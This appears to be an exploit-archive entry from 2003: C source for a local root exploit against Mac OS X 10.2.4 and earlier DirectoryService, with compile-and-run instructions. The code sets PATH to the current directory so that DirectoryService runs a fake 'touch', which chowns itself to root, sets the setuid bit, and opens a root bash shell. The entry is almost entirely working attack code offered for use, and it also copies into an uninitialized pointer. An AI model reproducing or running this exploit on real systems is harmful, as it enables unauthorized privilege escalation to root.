Mac OS X <= 10.2.4 DirectoryService (PATH) Local Root Exploit

2003-04-18 00:00:00

/*
OS X <= 10.2.4 DirectoryService local root PATH exploit
DirectoryService must be crashed prior to execution, per
@stake advisory. If you discover how to crash DirectoryService
e-mail me at [email protected] [Neeko Oni]

--
Assuming DirectoryService has been crashed/killed, compile
this code as 'touch' (gcc osxds.c -o touch) and execute.

bash$ ./touch
*bunch of stuff here*
euid is root.
bash#

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int
main(int argc, char **argv)
{
char *ORIGPATH;
int temp;
if (argc < 2) {
if (geteuid() == 0) {
printf("euid is root.\n");
setuid(0);
execl("/bin/bash", "bash", NULL);
}
strcpy(ORIGPATH, getenv("PATH"));
printf("Original path: %s\n", ORIGPATH);
setenv("PATH", ".", 1);
printf("New path: %s\n", getenv("PATH"));
printf("Executing DirectoryService with false PATH...\n");
if (fork() == 0) {
execl("/usr/sbin/DirectoryService", "DirectoryService", NULL);
}
printf("Forked DirectoryService, pausing before shell exec...\n");
sleep(3);
printf("Cross your fingers.\n");
setenv("PATH", ORIGPATH, 1);
printf("Path restored: %s\n", getenv("PATH"));
execl("./touch", "touch", NULL);
}
system("/usr/sbin/chown root ./touch;/bin/chmod +s ./touch");
}

//

Fixes

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